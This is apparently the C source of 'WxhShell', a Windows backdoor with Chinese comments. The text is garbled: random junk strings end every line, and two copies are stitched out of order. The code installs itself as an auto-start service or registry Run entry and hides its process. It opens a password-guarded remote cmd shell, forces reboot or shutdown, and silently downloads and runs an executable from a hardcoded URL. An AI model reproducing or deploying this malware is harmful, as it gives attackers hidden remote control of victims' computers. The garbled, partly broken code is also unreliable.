    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rk+#GO{  
    if(Boot(SHUTDOWN)) ~7~~S*EQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x";w%  
    else { t*z~5_/  
    closesocket(wsh); <DKS+R  
    ExitThread(0); m }a|FS  
    } Y$N)^=7  
    break; ^4r73ak/):  
    } #_lt~^ 6  
  // 获取shell 4c oJRqf=  
  case 's': { U~h'*nV&  
    CmdShell(wsh); xq-17HKs  
    closesocket(wsh); 7^wc)E^H  
    ExitThread(0); :tIC~GG]_)  
    break; IDkWGh  
  } *n]7  
  // 退出 \k;`}3 uO  
  case 'x': { ~$' \L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fc~'TBf,,`  
    CloseIt(wsh); `U+l?S^$  
    break; RZM"~ 0  
    } }kw/W#)J  
  // 离开 4h5g'!9-g  
  case 'q': { b'VV'+|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {o5V7*P;_  
    closesocket(wsh); ,jXM3?>B  
    WSACleanup(); O^/Maa/D1  
    exit(1); FMkOo2{  
    break; A7(hw~+@  
        } u` oq(?|  
  } Fk(JSiU  
  } j1_ @qns{  
<;E  
  // 提示信息 `_b`kzJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Yi4Xva@  
} )jq?lw'&  
  } V"p!B f  
1;Pv0&[q/  
  return; >zDF2Y[  
} qB)"qFa  
DI!V^M[~u  
// shell模块句柄 Gpm{m:$L  
int CmdShell(SOCKET sock) qo<&J f  
{ y5Tlpi`g  
STARTUPINFO si; GUF"<k  
ZeroMemory(&si,sizeof(si)); 2X:4CC%5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8$(Dz]v|[&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !61Pl/uQ  
PROCESS_INFORMATION ProcessInfo; !LkW zn3  
char cmdline[]="cmd"; PW3GL3+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ypJ".  
  return 0; p>_;^&>&  
} S1D@vnZ3O\  
 8q1wHZ  
// 自身启动模式 Wrrcx(  
int StartFromService(void) SP|<Tny  
{ hFiIW77 s2  
typedef struct piU /&  
{ c/_ +o;Bc  
  DWORD ExitStatus; _+ .\@{c  
  DWORD PebBaseAddress; 9-]i.y  
  DWORD AffinityMask; <hwy*uBrD  
  DWORD BasePriority; 3!5Ur&  
  ULONG UniqueProcessId; 1? FrJ6 V  
  ULONG InheritedFromUniqueProcessId; s7oT G!  
}   PROCESS_BASIC_INFORMATION; *^([ ~[  
',GS#~  
PROCNTQSIP NtQueryInformationProcess; 4t)%<4  
%pXAeeSY`;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <C9 XX~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [F5h   
{EdH$l>94  
  HANDLE             hProcess; 0rGSH*(  
  PROCESS_BASIC_INFORMATION pbi; ' B  
PMfkA!.Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W>q HFoKa  
  if(NULL == hInst ) return 0; z,{<Nm7&F  
c)@>zto#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c5|:,wkx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0\2\*I}?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K \vSB~{ [  
['%69dPh  
  if (!NtQueryInformationProcess) return 0; RT>{*E<I  
U%h);!<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xQw7 :18wQ  
  if(!hProcess) return 0; V7TVt,-3  
u*qV[y5Bl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tgjr&G}a@0  
_z[#}d;k  
  CloseHandle(hProcess); <cA/<3k)  
J)mh u}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %F kMv  
if(hProcess==NULL) return 0; v\`9;QV5  
p-+K4  
HMODULE hMod; 8EVgoJ.  
char procName[255]; "_2Ng<2  
unsigned long cbNeeded;  :ujCr.  
TNQP" 9[?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s}pIk.4ot!  
D1nq2GwS  
  CloseHandle(hProcess); )"+(butI&  
!?^b[ nC%  
if(strstr(procName,"services")) return 1; // 以服务启动 2>*%q%81  
8p-=&cuo\@  
  return 0; // 注册表启动 H5D*|42  
} -48vJR*tC  
vP+@z-O  
// 主模块 g@\fZTO  
int StartWxhshell(LPSTR lpCmdLine)  ^xPmlS;X  
{ @-OnHE  
  SOCKET wsl; KRjV}\}  
BOOL val=TRUE; V^Hu3aUx8  
  int port=0; =}PdH`S  
  struct sockaddr_in door; BcD&sQ2F  
#$3yz'"QF  
  if(wscfg.ws_autoins) Install(); G<M:Ak+~  
s&GJW@ |  
port=atoi(lpCmdLine); nk3y"ne7  
*Sh^ J+j  
if(port<=0) port=wscfg.ws_port; xG;-bJu  
D/h/Y) Y  
  WSADATA data; |AC1\)2tT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '_b.\_s-d  
/*|oL# hK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~{}#)gGU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ki>~H!zB  
  door.sin_family = AF_INET; #2iD'>bQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wp7!>% s{  
  door.sin_port = htons(port); xUfbW;;]UU  
V] Et wA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C ;(t/zh  
closesocket(wsl); 42L @w  
return 1; eSW{Cb  
} fu$R7  
M@W[Bz  
  if(listen(wsl,2) == INVALID_SOCKET) { _w*}\~`=^  
closesocket(wsl); I5h[%T  
return 1; xAggn  
} @]bPVG?d  
  Wxhshell(wsl); g:0#u;j^7  
  WSACleanup(); _j_x1.l  
' H7x L  
return 0; d,$d~alY  
,.gQ^^+=  
} !z{-?o/  
z4E|Ai  
// 以NT服务方式启动 id?h>g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xooY' El*#  
{ 4~U'TE @  
DWORD   status = 0; jmg!Ml  
  DWORD   specificError = 0xfffffff; pKS {6P  
{-BRt)L[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -R>}u'EG>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vy,&N^P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $)H@|< K  
  serviceStatus.dwWin32ExitCode     = 0; ,YhdY 6  
  serviceStatus.dwServiceSpecificExitCode = 0; Cye$H9 2  
  serviceStatus.dwCheckPoint       = 0; }K hjlPhx  
  serviceStatus.dwWaitHint       = 0; -uh(?])H  
OIl#DV.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;+1RU v  
  if (hServiceStatusHandle==0) return; XhsTT2B   
~ 8aJ S,u  
status = GetLastError(); K gN)JD>  
  if (status!=NO_ERROR) ps$7bN C  
{ LK"  bC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fIGFHZy,  
    serviceStatus.dwCheckPoint       = 0; 8QK5z;E2~  
    serviceStatus.dwWaitHint       = 0; >MJg ,  
    serviceStatus.dwWin32ExitCode     = status; LW:o8ES33  
    serviceStatus.dwServiceSpecificExitCode = specificError; [31p&FxM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4d:{HLX,  
    return; PR|R`.QSs  
  } ,#W  
5<L_|d)0"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |y20Hi':  
  serviceStatus.dwCheckPoint       = 0; 6!^[];%xN  
  serviceStatus.dwWaitHint       = 0; #0 6-:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q%aU42?_1  
} !.1%}4@Q]  
XYoIFv?'  
// 处理NT服务事件,比如:启动、停止 :fk2]{KTL  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  '8j$';&`  
{ 6WoAs)ZF  
switch(fdwControl) 7*DMVok:  
{ 1}ZKc=Pfu  
case SERVICE_CONTROL_STOP: `pd&se'p  
  serviceStatus.dwWin32ExitCode = 0; Yl;^ k0ZI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w;v7_  
  serviceStatus.dwCheckPoint   = 0; d*pF>j  
  serviceStatus.dwWaitHint     = 0; wB>r (xQ'  
  { {A|TowBN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ;v  
  } jEXW  
  return; y$81Z q  
case SERVICE_CONTROL_PAUSE: $hxN hI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >!6i3E^  
  break; )EyI0R]5  
case SERVICE_CONTROL_CONTINUE: VDB;%U*D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oPc\<$  
  break; 4(l?uU$  
case SERVICE_CONTROL_INTERROGATE:  htY=w}>  
  break; -yDs< Xl  
}; .k4W_9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `bKA+c,f  
} D\ /xu-&  
NrDi   
// 标准应用程序主函数 >\ST-7[^L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B5X sGLV  
{ J/);"bg_O  
d7Ur$K\=y  
// 获取操作系统版本 1xf=_F0`&  
OsIsNt=GetOsVer(); \n0Oez0z!B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '2zL.:~  
x( mE<UQN  
  // 从命令行安装 *]JdHO  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7t9c7HLuj/  
gqib:q ;r  
  // 下载执行文件 &4dz}zz90  
if(wscfg.ws_downexe) { #[MJ|^\i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iA_8(Yo  
  WinExec(wscfg.ws_filenam,SW_HIDE); ydv3owN  
} ~8`:7m?  
Ut]+k+ 4  
if(!OsIsNt) { *sQcg8{^  
// 如果时win9x,隐藏进程并且设置为注册表启动 6B$q,"%S@  
HideProc(); JFL>nH0mk.  
StartWxhshell(lpCmdLine); Wl^R8w#Z$  
} m"c :"I6  
else E99CmG|"  
  if(StartFromService()) 2S`?hxAL  
  // 以服务方式启动 1G~S |,8p  
  StartServiceCtrlDispatcher(DispatchTable); aKF*FFX  
else c':ezEaC  
  // 普通方式启动 C9S@v D+  
  StartWxhshell(lpCmdLine); W&:[r/8wA  
J` { 6l  
return 0; [=*E+Oc  
} Bqws!RM'&@  
rg(lCL&:S  
wxLXh6|6%_  
6`\]derSon  
=========================================== ngulcv  
,G^[o,hS  
3-40'$lE  
+w| 9x.&W  
V's:>;  
XC15K@K  
" FDFH,J`_  
puJ#w1!x`  
#include <stdio.h> !/K8xD$  
#include <string.h> :<#`_K~'  
#include <windows.h> gM;}#>6  
#include <winsock2.h> ~$O1`IT  
#include <winsvc.h> 09M;}4ev&7  
#include <urlmon.h> o7&4G$FX~  
Bd bJ< Is  
#pragma comment (lib, "Ws2_32.lib") FqA3  {  
#pragma comment (lib, "urlmon.lib") -U2mfW  
sPNfbCOz  
#define MAX_USER   100 // 最大客户端连接数 ( g :p5Rl  
#define BUF_SOCK   200 // sock buffer M/V(5IoP (  
#define KEY_BUFF   255 // 输入 buffer $mco0 %$  
z*~YLT&  
#define REBOOT     0   // 重启 t0PQ~|H<KV  
#define SHUTDOWN   1   // 关机 NnxM3*  
%R0v5=2'  
#define DEF_PORT   5000 // 监听端口 qUhRu>   
xFp<7p L  
#define REG_LEN     16   // 注册表键长度 +-068k(  
#define SVC_LEN     80   // NT服务名长度 ;~HNpu$  
1H:ea7YVU  
// 从dll定义API oL/o*^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c-XLI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FYPz 4K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E(+T*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )&W|QH=AI  
 e/e0d<(1  
// wxhshell配置信息 dhRJg"vrQ  
struct WSCFG { 7INk_2  
  int ws_port;         // 监听端口 >3;^l/2c  
  char ws_passstr[REG_LEN]; // 口令 ^[h2%c$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2xmk,&s  
  char ws_regname[REG_LEN]; // 注册表键名 nYv#4*  
  char ws_svcname[REG_LEN]; // 服务名 ^6/j_G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "2n;3ByR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `rWB`q|i<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CKARg8o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6i@ub%qq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4 9w=kzo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YaFcz$GE_  
-oBI+v&  
}; AfWl6a?T8:  
rb_Z5T  
// default Wxhshell configuration  :q2YBa  
struct WSCFG wscfg={DEF_PORT, K, (65>86;  
    "xuhuanlingzhe", 993d/z|DX  
    1, Mps *}9  
    "Wxhshell", i|2$8G3  
    "Wxhshell", \3NS>v[1  
            "WxhShell Service", FuP}Kec  
    "Wrsky Windows CmdShell Service", m% bE-#  
    "Please Input Your Password: ", jOv"<  
  1, ;R1B9-,  
  "http://www.wrsky.com/wxhshell.exe", l[n@/%2  
  "Wxhshell.exe" >7-y#SkXdo  
    }; SR*Gqx  
QJ4AL3 ^6  
// 消息定义模块 {Qtq7q.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :k!j"@r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i^%-aBZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; < tQc_  
char *msg_ws_ext="\n\rExit."; l=Wd,$\  
char *msg_ws_end="\n\rQuit."; \ZnN D1A  
char *msg_ws_boot="\n\rReboot..."; OCx5/ 88X  
char *msg_ws_poff="\n\rShutdown..."; kJ8vKcc  
char *msg_ws_down="\n\rSave to "; yuNfhK/#r  
0M!0JJy#*  
char *msg_ws_err="\n\rErr!"; OAok  
char *msg_ws_ok="\n\rOK!"; .:0M+Jr"  
F/<qE!(  
char ExeFile[MAX_PATH]; GAU!_M5N  
int nUser = 0; HCc`  
HANDLE handles[MAX_USER]; EODB`$+  
int OsIsNt; 8$ DwpJ  
*caLN,G  
SERVICE_STATUS       serviceStatus; M'u=H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,RK3eQ  
?vu|o'$T,  
// 函数声明 ltEF:{mLe#  
int Install(void); {'IFWD.5  
int Uninstall(void); )Xno|$b5Eo  
int DownloadFile(char *sURL, SOCKET wsh); '0Zm#g  
int Boot(int flag); XV2=8#R  
void HideProc(void); ]bfqcmh<  
int GetOsVer(void); N$'>XtO  
int Wxhshell(SOCKET wsl); b[g.}'^yht  
void TalkWithClient(void *cs); {,f[r*{Y  
int CmdShell(SOCKET sock); P3$,ca'  
int StartFromService(void); G ]lvHD  
int StartWxhshell(LPSTR lpCmdLine); IIP.yyh>  
2Guvze_bU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <|JU(B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A70(W{6a9@  
_<u;4RO(s  
// 数据结构和表定义 >-<F)  
SERVICE_TABLE_ENTRY DispatchTable[] = ,Oi^ySn  
{ $xcv>  
{wscfg.ws_svcname, NTServiceMain}, !QTPWA  
{NULL, NULL} $I(}r3r  
}; 7)PJ:4IqS  
1 ;Ju]  
// 自我安装 G;2[  
int Install(void) p"KV*D9b  
{ /| f[us-w  
  char svExeFile[MAX_PATH]; uo 4xnzc  
  HKEY key; "UpOY  
  strcpy(svExeFile,ExeFile); ]^ !}*  
T&4fBMBp,%  
// 如果是win9x系统,修改注册表设为自启动 j)Lo'&Y~=  
if(!OsIsNt) {  QT_^M1%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )d_U)b7i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #01/(:7  
  RegCloseKey(key); #ko6L3Pi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sy.:T]ZH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cKpQr7]ur  
  RegCloseKey(key); 28+HKbgK  
  return 0; @H4wHlb  
    } kd`YSkZ  
  } 82 .HH5Z{  
} gUb "3g0  
else { C M^r|4 K  
#W^_]Q=5R'  
// 如果是NT以上系统,安装为系统服务 \d5}5J]a&n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~,G]glu8  
if (schSCManager!=0) ?1$\pq^  
{ HSql)iT  
  SC_HANDLE schService = CreateService h/9Sg*k  
  ( zi_[ V@Es/  
  schSCManager, Cn/q=  
  wscfg.ws_svcname, (k#t }B[  
  wscfg.ws_svcdisp, * 2%oZX F  
  SERVICE_ALL_ACCESS, [U']kt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UhBz<>i;!  
  SERVICE_AUTO_START, 'v+96b/;  
  SERVICE_ERROR_NORMAL, /=- h:0{M  
  svExeFile, 8'% +G  
  NULL, "Y(%oJS]D  
  NULL, m>O2t-  
  NULL, ZZwBOGVU  
  NULL, T"B8;|  
  NULL sOC| B  
  ); bx]1 4}6  
  if (schService!=0) \aB&{`iG  
  { G "c/a8  
  CloseServiceHandle(schService); kw;wlFU;  
  CloseServiceHandle(schSCManager); (Otur  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g!\QIv1D  
  strcat(svExeFile,wscfg.ws_svcname); Pd,!&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $4: ~* IQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XC2Q*Z  
  RegCloseKey(key); ]Qc: Zy3  
  return 0; ',%5mF3j  
    } b2W;|  
  } J:[3;Z  
  CloseServiceHandle(schSCManager); @NBXyC8,Z  
} 4(;20(q]  
} CCy .  
wV?[3bEhM  
return 1; E8 \\X  
} wb@]>MJ}[s  
6XZN>#  
// 自我卸载 .GtINhz*  
int Uninstall(void) 6eOxF8  
{ r*>QT:sB  
  HKEY key; iAg}pwU  
NrW[Q 3E$  
if(!OsIsNt) { JfR kp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cUYX1a)8  
  RegDeleteValue(key,wscfg.ws_regname); ?9CIWpGjU  
  RegCloseKey(key); Mc.^s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [!5l0{0  
  RegDeleteValue(key,wscfg.ws_regname); z{AM2Z  
  RegCloseKey(key); <)"iL4 kDI  
  return 0; -IGMl_s  
  } [10$a(g\x  
} T<_+3kw  
} &KLvr|  
else { ;,R[]B01u  
E=3#TBd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \?[O,A  
if (schSCManager!=0) Jr|K>  
{ 8 `yB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +)% ,G@-`  
  if (schService!=0) _%XbxP6rH  
  { eNHpgj  
  if(DeleteService(schService)!=0) { ;%M2x5  
  CloseServiceHandle(schService); [ +yGDMLs  
  CloseServiceHandle(schSCManager); ,CN#co  
  return 0; ?#x'_2  
  } wbo{JQ  
  CloseServiceHandle(schService); F1zT )wW  
  } 3@%BA(M  
  CloseServiceHandle(schSCManager); pFG]IM7o/u  
} 1mAUEQ!  
} Al)lWD}j2g  
}7otuO(pRo  
return 1; F%9e@{  
} lrq>TJEcx  
(q0No26;(  
// 从指定url下载文件 3#7ENV`  
int DownloadFile(char *sURL, SOCKET wsh) "Wxo[I  
{ 1*TXDo_T  
  HRESULT hr; OA\vT${5  
char seps[]= "/"; %-T}s`Z  
char *token; 6hR^qdHg  
char *file; '3IkPy1Uz  
char myURL[MAX_PATH]; oD Q9.t  
char myFILE[MAX_PATH]; Zjw!In|vC  
jt0H5-x  
strcpy(myURL,sURL); pW`ntE#L  
  token=strtok(myURL,seps); xzuPie\  
  while(token!=NULL) gF$1wV]e  
  { Ka[Sm|-q  
    file=token; 0-6:AHix  
  token=strtok(NULL,seps); SjFF=ib  
  } qQwJJjf  
y^5T/M  
GetCurrentDirectory(MAX_PATH,myFILE); 6tDg3`w>  
strcat(myFILE, "\\"); 8ct+?-3g  
strcat(myFILE, file); oSpi{ $x  
  send(wsh,myFILE,strlen(myFILE),0); oFX"F0rx  
send(wsh,"...",3,0); }(8D!XgWa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z7D*z8,i  
  if(hr==S_OK) OaX HJ^k  
return 0; \65vfE~ O  
else f$~ _FX  
return 1; {ILp[ &sL  
V.O<|tl.  
} "it`X B.  
UwvGr h  
// 系统电源模块 3'|Uqf8  
int Boot(int flag) ]?v?Qfh2  
{ k^L#,:\&V  
  HANDLE hToken; GLbc/qs  
  TOKEN_PRIVILEGES tkp; l"2^S6vU  
EOMuqP)  
  if(OsIsNt) { O7Y P_<,#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PT 0Qzg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !y[}|  
    tkp.PrivilegeCount = 1; z(8)1#(n7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h0'8NvalQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dm/-}  
if(flag==REBOOT) { LC~CPV'F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^T uP=q5?  
  return 0; G~b`O20N  
} bW,BhUb,|  
else { E#IiyZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?uNTUU,  
  return 0; 4i ~eTb  
} #`fi2K&]j  
  } 0:7v/S!:  
  else { ]j%*"V  
if(flag==REBOOT) { r&H=i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IG2`9rR  
  return 0; ?0 KiR?  
} [qO5~E`;  
else { 2ID*U d*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y@2vY[)3s  
  return 0; #U\&i`  
} yoq\9* ?u^  
} YD0vfwh  
yBXkN&1=%;  
return 1; P>yG/:W;  
} Zi2Eu4p l{  
=H.<"7  
// win9x进程隐藏模块 kx;xO>dC  
void HideProc(void) B` t6H  
{ wI1M0@}PV  
&sr:\Qn X/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iMOPD}`IX  
  if ( hKernel != NULL ) b n<I#ZH2  
  { xr7-[)3Q$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8M".o n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ue^?/{OuT  
    FreeLibrary(hKernel); 42b=z//;  
  } &CxyP_  
2Q`PUXj  
return; y4)ZUv,}  
} HlOAo:8'  
=Ov;'MC  
// 获取操作系统版本 o}r!qL0c  
int GetOsVer(void) ~x +:44*  
{ eE#81]'6a  
  OSVERSIONINFO winfo; cAsSN.HFS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  gnKU\>2k  
  GetVersionEx(&winfo); rS,* s'G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (F4dFh  
  return 1; [7SI<xkv  
  else ?-(w][MT\  
  return 0; flm,r<*}  
} P@! Q1pr  
4:%El+,_Y  
// 客户端句柄模块 i"r.>X'Z  
int Wxhshell(SOCKET wsl) k`iq<b  
{ 's7SZ$(  
  SOCKET wsh; M rH%hRV6R  
  struct sockaddr_in client; qw Kh,[]  
  DWORD myID; gOES2 4$2  
ATXx? b8h  
  while(nUser<MAX_USER) ?=|) n%  
{ fxtYo,;$  
  int nSize=sizeof(client); @'NaA SB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =oKPMmpCZ  
  if(wsh==INVALID_SOCKET) return 1; <Vr] 2mw  
lhIr]'?l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c!(~BH3p  
if(handles[nUser]==0) {8>_,z^P)  
  closesocket(wsh); U# FJ8CD&u  
else LzEE]i  
  nUser++; ~3*ZG  
  } >m;|I/2@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rt\<nwc  
l+3%%TV@L  
  return 0; &a2V-|G',  
} T^=Ee?e  
Li<266#A!  
// 关闭 socket UmP?}Xw6  
void CloseIt(SOCKET wsh) _6QLnr&@j  
{ J4K|KS7   
closesocket(wsh); (-G(^Tn  
nUser--; j .yr 5%  
ExitThread(0); A]~iuUHm  
} l66ipgw_^I  
no\}aTx  
// 客户端请求句柄 ;>QK}#'  
void TalkWithClient(void *cs) WkU) I2oH  
{ 40l#'< y;  
 S9ak '  
  SOCKET wsh=(SOCKET)cs; 9{]r+z:  
  char pwd[SVC_LEN]; ay7+H7^|hZ  
  char cmd[KEY_BUFF]; *{D:1S  
char chr[1]; W0uM?J\O  
int i,j; f'zFg["aZS  
\PtC  
  while (nUser < MAX_USER) { Ph7(JV{  
U%B]N@  
if(wscfg.ws_passstr) { C}DG'z9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v,x%^gv0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~M9 n<kmE  
  //ZeroMemory(pwd,KEY_BUFF); \SHD  
      i=0; Spr:K,  
  while(i<SVC_LEN) { exrt|A] _[  
)1tnZ=&  
  // 设置超时 3K'o&>}L  
  fd_set FdRead; Y$`hudJ&  
  struct timeval TimeOut; dO4U9{+  
  FD_ZERO(&FdRead); c_8mQ  
  FD_SET(wsh,&FdRead); ; HLMU36q  
  TimeOut.tv_sec=8; <J_,9&\J  
  TimeOut.tv_usec=0; w\8r h\Mvh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y[8co<p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); efAahH  
XtH_+W+O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +/_B/[e<>  
  pwd=chr[0]; 8Q)mmkI\=  
  if(chr[0]==0xd || chr[0]==0xa) { tU~H@'  
  pwd=0; wGQhr="  
  break; %H 6ZfEO  
  } hK9oe%kU~  
  i++; >J75T1PH=  
    } yOCcp+`T}  
4`5Qt=}  
  // 如果是非法用户,关闭 socket E,yzy[gl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =x.v*W]F`  
} ([XyW{=h!  
"62Ysapq+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Go+,jT-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !&:W1Jkp(  
OXCml(>{  
while(1) { ^[?+=1 k  
D(ntVR  
  ZeroMemory(cmd,KEY_BUFF); dgqJ=+z 0y  
^9V8M9  
      // 自动支持客户端 telnet标准   e !x-:F#4j  
  j=0; h'q0eqYeu)  
  while(j<KEY_BUFF) { _R<V8g1f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uc(yos  
  cmd[j]=chr[0]; h*X%:UbW  
  if(chr[0]==0xa || chr[0]==0xd) { . eag84_  
  cmd[j]=0; eRqexqO!  
  break; `q{'_\gVt(  
  } >D^7v(&  
  j++; _(s|Q  
    } {4jSj0W  
{c EK z\RX  
  // 下载文件 wk <~Y 3u  
  if(strstr(cmd,"http://")) { ^VYZ %  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9C'+~<l  
  if(DownloadFile(cmd,wsh)) r L|BkN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mt6uW+t/  
  else cW|Zgz8vv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8{=( #]  
  } @_:?N(%(  
